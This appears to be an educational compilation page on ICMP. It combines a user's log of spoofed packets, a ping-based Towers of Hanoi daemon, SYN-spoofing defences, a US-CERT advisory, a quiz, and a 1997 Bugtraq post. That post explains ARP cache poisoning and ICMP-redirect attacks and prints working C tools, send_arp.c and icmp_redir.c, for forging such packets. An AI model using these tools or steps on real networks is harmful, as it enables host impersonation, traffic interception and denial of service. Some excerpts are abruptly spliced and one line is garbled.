yyyy yyyy is the IP of one of my own machines. But this got me confused since I am sure I never send out such a packet to that machine I aint run services on port 280. The other possibility is that my machine could be hacked and another process was doing this. Since I'm sure I aint being hacked this also cannot be the case. I checked my machine out again to see whether I missed some stuff, but no ... nothing like that. Another very odd thing is that the sequence number was every time 0 according to the data part of the ICMP header, which contained the IP header of the packet which was originally send, in every ICMP packet like that I received. This leaves one option open, which is that another machine send out spoofed packets to zzzz zzzz as if they originated from my IP address. This aint the first time I encoutered packets like these. In the period June and July 2001 in Virginia in the States, I also encountered a lot of ICMP traffic destined for my machine there. On the IP Filter (one of the best firewall's) mailing list more people started asking questions over similar packets. Click here for the archive, and look for Strange Log Entries. The question and answers start here. In case the archives aren't online anymore, you can try this link: Click here for the link and for a next message on this tread choose: "next in thread".

Spoofing still happens a lot. We just saw an example of that. In fact, it's still a big problem on the internet as we know it today. Another example is (D)DOS ((Distributed) Denial of Service) attacks, which often happen from spoofed IP addresses, making it tougher to trace them back to there origin. Hence, there are still a lot of incomplete configured routers active on the web which dont check whether the packet to forward with source address yyyy yyyy can indeed originate from the interface it receives it from, or whether it's a spoofed packet and should be discarded. This is called Network Ingress Filtering and is described in RFC 2267.

Hanoi ICMP (ping) Implementation

As the above picture shows (click on it for an actual sized version), this is the Towers Of Hanoi implemented using the ICMP echo/response mechanism (commonly known as ping). In a nutshell, you ping the Hanoi machine, and you get response packets whose sequence numbers represent the disk moves needed to solve the puzzle. You need to do a few things in order to get this up and running, as described below.

Firstly, hanoi-icmp.c, the C program implementing the "Hanoi ICMP Daemon", has been written on and for Linux, and has been tested only on RedHat versions 8.0, 7.3, 7.2 and 7.1. It may or may not work elsewhere. The only kernel versions tested are 2.4.18 and 2.4.2, and others may or may not work.

Recommended Papers

ONLamp.com -- Examining ICMP Packets

Internet Control Message Protocol

GENESIS SYN-Spoofing Immunity System

Throughout the months which followed, these pages served their purpose: Many people enjoyed taking the intellectual walk through my description of an alternate and in some ways superior means for establishing a TCP connection. But even more significantly, perhaps because my pages were more visible than descriptions of SYN Cookies, I have had numerous conversations with engineers at Microsoft, IBM, Cisco, and other leading vendors. They have asked about my implementation, and I have gladly explained my enhancements and the limitations built into my approaches.

Today, Windows 2000 and XP incorporate a form of adaptive encrypted token SYN spoofing immunity that automatically "kicks in" when a Windows 2000 or XP machine is under a SYN spoofing attack. At that time, as with my system, a number of TCP optimization features are unavailable to the connections . . . but that's far better than being able to offer no connections at all.

IBM has developed their own similar approach for dealing with, and creating an immunity against, SYN spoofing. Unfortunately, unlike my work and that of Dan Bernstein et al, IBM is attempting to patent their solution. You may find details of the pending IBM patent here: "Methods and systems for defeating TCP SYN flooding attacks".

Don Parker

ICMP Router Discovery Configuration Guidelines

An example of VPN server spoofing

ICMP Spoofing

Date: Fri, 19 Sep 1997 05:12:07 -0500
From: Yuri Volobuev <volobuev@T1.CHEM.UMN.EDU>
To: BUGTRAQ@NETSPACE.ORG
Subject: Redir games with ARP and ICMP

                    Playing redir games with ARP and ICMP
                              by yuri volobuev

                                 [ -Intro- ]

There're bugs and there're features.  All too often the distinction between
the two is in the eye of the beholder.  I'd like to show how two legitimate
protocols, ARP and ICMP, while properly implemented, can be used to achieve
something which is, well, not desirable.

While passive attacks (sniffing) that take advantage of the root access to
LAN are extremely popular and every half-way decent root kit has some kind
of a net sniffer, active attacks are not nearly as widespread.  Yet, active
participation in the life of your LAN may bring lots of fun and joy.  You
knew that already, it's just that technical details had been somewhat
obscure.  So, let there be more light.

Possibilities outlined here include spoofing and DoS.  While other means of
spoofing, such as IP blind spoofing, are more general and powerful, in terms
of who can use them, they require quite a lot of (guess)work and may be hard
to implement.  ARP spoofing, on contrary, is very easy and robust.

While ARP spoofing is only possible on a local network, it may be a serious
concern as a way to extend an already existing security breach.  If somebody
can break into one machine on a subnet, ARP spoofing can be used to
compromise the rest of it.

                           [ -Background on ARP- ]

[well, originally i wrote few paragraphs outlining arp, but then i figured
that if you didn't know how it works already, you'll need to learn it from a
better source.  I recommend "TCP/IP Illustrated" by W.Richard Stevens.]

                           [ -What can be done- ]

Let's consider a hypothetical network

IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
hostname       cat        rat       dog       bat
hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (for short)

all connected by Ethernet in some simple way (i.e. no switches, no smart
hubs).  You're on cat, you have root and desire to break into dog.  You know
that dog trusts rat, so if you can successfully spoof rat, something can be
gained.

First thing that comes to mind (I think everybody was thinking about this at
some point) is "why don't I set my IP to the IP of that other machine
and..." That won't work, at least it won't work reliably.  If you tell
Ethernet driver on cat that it's IP is 10.0.0.2, it'll start answering ARP
requests to that IP.  But so will rat.  It's a pure race condition, and
there's no winner.  However, you can easily be the loser, because this
particular situation happens quite often when some box is misconfigured to
use somebody's else's IP, so many implmentations immedeately notice that and
loudly complain.  Many network traffic analyzers flag that, too.  Seeing a
syslog message saying something nasty (mentioning cat's Ethernet address) on
the LAN admin's console is not quite what you want.  And what you want you
won't necessarily get, that is getting anything remotely close to a working
connection.

This of course can be helped.  The attached program, send_arp.c, can be a
useful tool.  Just as its name says, it sends an ARP packet [ARP reply, to
be exact: since the protocol is stateless, reply will be happily accepted
even if no one ever asked for it.  Request would do just as well, though,
because of the ARP caching logic] to the net, and you can make this packet
to be what you want.  What you want is an ability to specify source and
target IP and hardware addresses.

First, you don't want your Ethernet driver to talk too much, and it's easy
to accomplish with ifconfig -arp.  Of course, it'll need ARP info anyway, so
you'll have to feed it to the kernel manually with arp(8).  The critical
part is convincing your neighbours.  In the case being described here, you
want dog to believe that rat's hardware address is that of cat (AA:AA), so
you send ARP reply with source IP 10.0.0.2, source hw address AA:AA, target
IP address 10.0.0.3 and target hardware address CC:CC.  Now, for all dog
knows, rat is at AA:AA.  Cache entry would expire, of course, so it needs to
be updated (request needs to be resent).  How often depends on the
particular system, but every 40 sec or so should be sufficient for most
cases.  Send it more often if you want, it won't hurt.

A complication here could come from an ARP caching implementation feature.
Some systems (e.g. Linux) would try to update their cache entries by sending
a unicast ARP request to the cached address (like your wife calling you just
to make sure you're there).  Such a request can screw things up, because it
could change victim's ARP entry that we just faked, so it must be prevented.
This can be accomplished by feeding the "wife" system with replies so that
it never has to ask for it.  Prevention is the best cure, as always.  This
time, a real packet from dog to rat should be sent, it's just that cat will
be sending it, not dog, but for rat there's no way to tell.  Again, doing it
about every 40 sec is usually OK.

So the procedure is simple.  Bring up an alias interface, e.g. eth0:1 (or
use your current one, whatever), with rat's IP and ARP on -- you need to set
up some cache entries first, and it won't work on non-arp interface.  Set up
a host route entry for dog through the right interface.  Set up a cache
entry for dog, turn off arp, and it's all set.

Now, inject the venom with send_arp (hitting both dog and rat) and for all
dog knows, you're on rat.  Just remember to keep sending those ARP packets
to dog and rat.

This attack only works on the local network, of course (in general, it can
reach as far as ARP packets can get, usually not too far because ARP packets
are almost never routed).  But an interesting extension here is taking this
outside by replacing dog's hardware address in the above plan with the
router's.  If it works (I'm not sure it always will, router's ARP
implementation may be tougher to fool, and since I don't want to try it on
real routers, I don't know, but there's no simple reason why not) you can
easily impersonate any machine on the local network to the rest of the
world.  So the target machine could really be anywhere, but the machine
you're impersonating must be on the same LAN.

                         [ -What else can be done- ]

Aside from spoofing, there's range of other things you can do with ARP.  The
sky is really the limit here.  DoS is the most obvious application.

Feeding victim wrong hardware address is a powerful way to make it mute.
You can prevent it from talking to any particular machine (and ARP cache
size usually allows for the whole network to fit in, so effectively you can
stop it from talking to everybody for some time).  Obvious target would be
the router.  Cache poisoning again should be two-way: both the victim system
and the system you don't want victim to talk to should be fed.  The simplest
case would be feeding a non-existant address.  It's not the most efficient,
though, as the system will quickly realize that it's talking to nobody and
send out an ARP request.  Of course, your next drop of poison will nullify
this, but you have to do it quite often.  A more efficient approach here is
feeding the victim with the hardware address of the wrong machine, which
itself is alive and well.  Again, it depends on a particular situation, but
very often what happens is that victim keeps sending out packets of various
types that arrive to the wrong destination, and destination system will
promptly send ICMP Xxx Unreachable messages back, thus emulating a
connection in some perverted way.  This pseudo-conection can easily postpone
cache expiry.  On Linux, for example, pseudo-connection raises cache expiry
from usual 1 min to about 10 min.  By that time, most or all TCP connections
are screw up.  Could be quite annoying.  This way, one ARP packet can screw
someone.

An interesting twist here is so-called "gratuitous ARP".  It's when the
source and target IPs in the ARP request are the same, and it usually
appears in a form of an Ethernet broadcast.  Some implementations recognize
it as a special case, that of a system sending out updated information about
itself to everybody, and cache that request.  This way one packet could
screw up the entire network.  It must be admitted, though, that gratuitous
ARP is not really defined as a part of ARP, so it's up to vendor to (not)
implement it, and it's becoming increasingly less popular.

ARP is a serious tool for professional practical jokes, too.  Just imagine
somebody setting up a relay, or tunnel, in a form of own machine that
convinced two neighbours to send their packets intended for each other to
relay's Ethernet.  If relay just forwards packets to their real
destinations, no one would even notice.  However, some simple data stream
modifications could have quite a spectacular effect on one's mental health.
A simple, CPU-inexpensive "filter" could be swapping random two bytes at
irregular long intervals.  If it hits the data portion, most of the
checksums won't change, i.e. data stream would seem to be intact, yet
strange and unexplicable things _will_ happen for no apparent reason.

                        [ -ICMP redirects- ]

An effect somewhat similar to ARP cache poisoning can be achieved in a
different way, again using a legitimate protocol feature, ICMP route
redirects.  Such a redirect is normally sent by the default router to the
system to indicate that there's a shorter route to some particular
destination.  Originally, both network and host route redirects were
proposed, but later net redirects were deprecated and now are usually
treated as host redirects.  Properly constructed ICMP packet that passes all
sanity checks (it must come from the default router for the destination it's
redirecting, new router should be on a directly connected network, etc.) it
causes a host-route entry be added to the system routing table.

The concept is just as secure as ICMP itself, i.e. (security)NULL.  Spoofing
routers IP address is simple, and attached icmp_redir.c does just that.
Host Requirements RFC states that system MUST follow ICMP redirects unless
it's a router.  And indeed all the systems I've tried happily accept it
(except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
2.0.31pre9, according to Alan Cox).

ICMP redirects present a rather potent DoS.  Unlike ARP cache entries, those
host routes won't expire with time.  And of course no access to local
network is required, attack can be launched from anywhere.  So if the target
system does accept ICMP redirects (and packets can actually reach it) that
system can be stopped from talking to any particular address on the net
(well, not all, but those that aren't on the same subnet with the target).
Nameservers would be an obvious target.

                       [ -What can be done about it- ]

ARP is low level protocol and as such is usually hidden from normal people.
LAN admins may be concerned with it at times, but if all goes well no one
pays attention.  One can always inspect contents of ARP cache using arp(8),
especially if there's some misterious network problem, but again it's not
the first thing that comes to mind.  Even W95 has arp command, and
remembering about it may be helpful in certain situations.  However, if
you're the target of the attack originating from another network via gateway
arp spoofing, there's no way to tell.  Similarly, host routing table could
be examined to spot ICMP-generated entries (in most versions of route(1)
they are marked with D letter in flags field).  Just be aware.

The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
However, if machines are interconnected in some more advanced way,
particularly using some smart hubs or switches, attack can be more visible
or even impossible (same goes for passive attacks).  So there's yet another
reason to invest in a good piece of network equipment.  A good deal of peace
of mind may just come with it.

In general, however, I personally find it rather sad that things like ICMP
redirects were made a default.  First, it's often not necessary because many
networks have very simple structure and there's never a need for anything in
addition to usual routing table.  Second, on more sophisticated networks
routing table can be just as well set manually, it's not really such a
dynamic thing, so why do it via ICMP?  And finally, it's dangerous, so I
would like to disable it on my systems, even though it'll make them less
compliant with RFC1122.  Alas, it may not be easy.  On Linux or any other OS
with sources available, I can at least hack the kernel and #define it out.
On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
with systune (I'm genuinely surprised to see it there, I really am).  Other
OSes can be configurable, too, I have no information.

With ARP, we basically face a situation when the problem of name resolution
is solved dynamically without a centralized server.  It doesn't have to be
this way.  When one wants to map hostname to an IP, nameserver is queried or
/etc/hosts is consulted, i.e. there's some static mapping established.  I
don't see why a similar thing can't be done with ARP.  Ethernet hardware
addresses don't change too often, and when they do change, it won't kill net
admin to change the corresponding map.  Ethernet can be forced in no-arp
mode, you just need to make sure your ARP cache has all the entries made as
permanent.  As a bonus, this will reduce network traffic somewhat.  Standard
procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
NIS, but if you use NIS, ARP is probably not your top security concern
anyway).  Old tradition of /etc/ethers can be brought back to life.  But
getting a kick-ass Ethernet switch still looks better to me (paying for it
does not, though).

And old wisdom still shine bright though time: don't use hostname-only based
auth.  Those who do shall have no mercy from net gods.

cheers,

yuri

P.S. On Firewalls

I anticipate that many of you, having read the section about ICMP, are
already flexing the fingers preparing to write a follow-up explaining that
all those ICMP packets can be filtered out on the firewall, thus it's not a
problem.  Please don't.  I'm well aware of the concept.  An if you feel you
absolutely have to, don't cc the list needlessly.

I have to note that many people ur effective.

Imagine an environment where all machines are directly connected to
Internet, you have to share subnet with people you don't know who have
vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a great
job of making it eeeeeeasy" all over the place (and sure, these people know
Unix, they've seen it in Jurassic Park... and that would be about it), and
the router to your subnet is controlled by a separate organization.  Welcome
to a standard academic environment, where people don't use firewalls.  In
fact, in some of those environments one would be useful to protect the
outside world from the people on the inside.  Still, people work there, and
use computers, too.  And that's where per-host security solutions are
necessary, it's a jungle where every host is for itself.  So please, next
time you think "firewall", remember, it's not for everyone.

CUT HERE
/* send_arp.c

This program sends out one ARP packet with source/target IP and Ethernet
hardware addresses suuplied by the user.  It compiles and works on Linux
and will probably work on any Unix that has SOCK_PACKET.

The idea behind this program is a proof of a concept, nothing more.  It
comes as is, no warranty.  However, you're allowed to use it under one
condition: you must use your brain simultaneously.  If this condition is
not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
volobuev@t1.chem.umn.edu

*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN];
        u_char src_hw_addr[ETH_HW_ADDR_LEN];
        u_short frame_type;
        u_short hw_type;
        u_short prot_type;
        u_char hw_addr_size;
        u_char prot_addr_size;
        u_short op;
        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
        u_char sndr_ip_addr[IP_ADDR_LEN];
        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
        u_char rcpt_ip_addr[IP_ADDR_LEN];
        u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
        perror("socket");
        exit(1);
        }

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
        perror("sendto");
        exit(1);
        }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
        if( (hostp = gethostbyname(str)))
                bcopy(hostp->h_addr,in_addr,hostp->h_length);
        else {
                fprintf(stderr,"send_arp: unknown host %s\n",str);
                exit(1);
                }
        }
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i<ETH_HW_ADDR_LEN;i++){
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf = val << 4;
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf++ |= val;

        if(*str == ':')str++;
        }
}

CUT HERE

/* icmp_redir.c

This program sends out an ICMP host redirect packet with gateway IP supplied
by user.  It was written and tested under Linux 2.0.30 and could be rather
easily modified to work on most Unices.

The idea behind this program is a proof of a concept, nothing more.  It
comes as is, no warranty.  However, you're allowed to use it under one
condition: you must use your brain simultaneously.  If this condition is
not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
volobuev@t1.chem.umn.edu

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define IPVERSION       4

struct raw_pkt {
        struct iphdr ip; /* This is Linux-style iphdr.
                            Use BSD-style struct ip if you want */
        struct icmphdr icmp;
        struct iphdr encl_iphdr;
        char encl_ip_data[8];
};

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.  \
yuri volobuev'97\n\
usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
char on = 1;

if(argc != 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
        perror("socket");
        exit(1);
        }

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
        sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
        sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
        perror("setsockopt: IP_HDRINCL");
        exit(1);
        }

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
        perror("sendto");
        exit(1);
        }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
        if( (hostp = gethostbyname(str)))
                return *(unsigned long int*)(hostp->h_addr);
        else {
                fprintf(stderr,"unknown host %s\n",str);
                exit(1);
                }
        }
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
        sum += *addr++;
        len -= 2;
        }
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

US-CERT Vulnerability Note VU#222750 TCP/IP implementations do not adequately validate ICMP error messages

Overview
Multiple TCP/IP implementations do not adequately validate ICMP error messages. A remote attacker could cause TCP connections to drop or be degraded using spoofed ICMP error messages.
I. Description
A number of widely accepted Internet standards describe different aspects of the relationships between the Internet Control Message Protocol (ICMP) and Transmission Control Protocol (TCP). In particular, RFC 1122 explains how TCP should respond to ICMP messages:
4.2.3.9  ICMP Messages

            TCP MUST act on an ICMP error message passed up from the IP
            layer, directing it to the connection that created the
            error.  The necessary demultiplexing information can be
            found in the IP header contained within the ICMP message.

            o    Source Quench

                 TCP MUST react to a Source Quench by slowing
                 transmission on the connection.  The RECOMMENDED
                 procedure is for a Source Quench to trigger a "slow
                 start," as if a retransmission timeout had occurred.

            o    Destination Unreachable -- codes 0, 1, 5

                 Since these Unreachable messages indicate soft error
                 conditions, TCP MUST NOT abort the connection, and it
                 SHOULD make the information available to the
                 application.

                 DISCUSSION:
                      TCP could report the soft error condition directly
                      to the application layer with an upcall to the
                      ERROR_REPORT routine, or it could merely note the
                      message and report it to the application only when
                      and if the TCP connection times out.

            o    Destination Unreachable -- codes 2-4

                 These are hard error conditions, so TCP SHOULD abort
                 the connection.

            o    Time Exceeded -- codes 0, 1

                 This should be handled the same way as Destination
                 Unreachable codes 0, 1, 5 (see above).

            o    Parameter Problem

                 This should be handled the same way as Destination
                 Unreachable codes 0, 1, 5 (see above).
An ICMP message contains the IP header and the first 8 bytes of the transport layer (TCP) segment that caused the error condition (this covers IP and TCP header information). In order to match an ICMP message to a TCP connection, TCP stack implementations generally match the source and destination TCP port and IP address four-tuple from the data returned in the ICMP message. An attacker who knows or can guess this four-tuple can create spoofed ICMP messages. By setting ICMP types and codes to indicate hard or soft error conditions, the attacker may be able to cause valid TCP connections to be reset or degraded. An attacker may also be able to take advantage of path MTU discovery functionality by spoofing ICMP type 3 (Destination Unreachable) code 4 (Fragmentation Needed but Don't Fragment Bit Set) messages and lowering the MTU for a connection (this is described in section 8 of RFC 1191).

Note that any protocols that use path MTU discovery and state-based transport layer protocols other than TCP could also be affected.

Further details about this vulnerability are available in an IETF Internet Draft titled "ICMP attacks against TCP" (revision 3 as of this writing) authored by Fernando Gont.
II. Impact
A remote attacker could cause TCP connections to drop or be degraded using spoofed ICMP error messages. Applications that depend on on long-lived, low latency, or high throughput TCP connections may not function correctly on a degraded TCP connection. In order to spoof an ICMP message, an attacker would need to know or guess the source and destination TCP port and IP address four-tuple. The Border Gateway Protocol (BGP) is of paticular concern since it relies on long-lived TCP connections (VU#415294), uses well-known source and destination ports, provides critical network and Internet routing information, and may require a non-trivial period of time to recover from a sustained attack.
III. Solution
Upgrade or apply a patch
Upgrade or apply a patch according to vendor instructions. Note that changes made by upgrades or patches may not completely defend against spoofed ICMP attacks. Consult vendor documentation for information on changes to ICMP message handling. Consider the general and attack-specific countermeasures discussed in the Gont I-D. Some of the countermesures include validating TCP sequence and acknowledgement numbers contained in ICMP messages, improving TCP ephemeral port number randomization, changing the response to or ignoring certain ICMP messages, and delaying connection resets. Note that different countermeasures have different constraints and may negatively impact TCP operations.

Filter ICMP messages

Filter ICMP messages based on type and code at network borders. Allow only ICMP messages that are necessary for proper operation.

Reference

Header Drawings

Original ICMP Spec: RFC-792
Internet Standard Subnetting Procedure: RFC-950
General Review of and Internet Host: RFC-1122
Assigned Numbers: RFC-1700

Quiz

Q1. 4 functions that ICMP protocol performs are:

a. echo (ping)

b. telnet

c. rcp

d. rlogin

e. rpc

f. TTL announce (used by traceroute)

g. source quench message (during congestion)

h. network error announcement

A: A,F,G,H

Copyright © 1996-2008 by Dr. Nikolai Bezroukov. www.softpanorama.org was created as a service to the UN Sustainable Development Networking Programme (SDNP) in the author free time. Submit comments This document is an industrial compilation designed and created exclusively for educational use and is placed under the copyright of the Open Content License(OPL). Original materials copyright belong to respective owners. Quotes are made for educational purposes only in compliance with the fair use doctrine.

Standard disclaimer: The statements, views and opinions presented on this web page are those of the author and are not endorsed by, nor do they necessarily reflect, the opinions of the author present and former employers, SDNP or any other organization the author may be associated with. We do not warrant the correctness of the information provided or its fitness for any purpose.

Last modified: September 03, 2008

Internet Control Message Protocol (ICMP)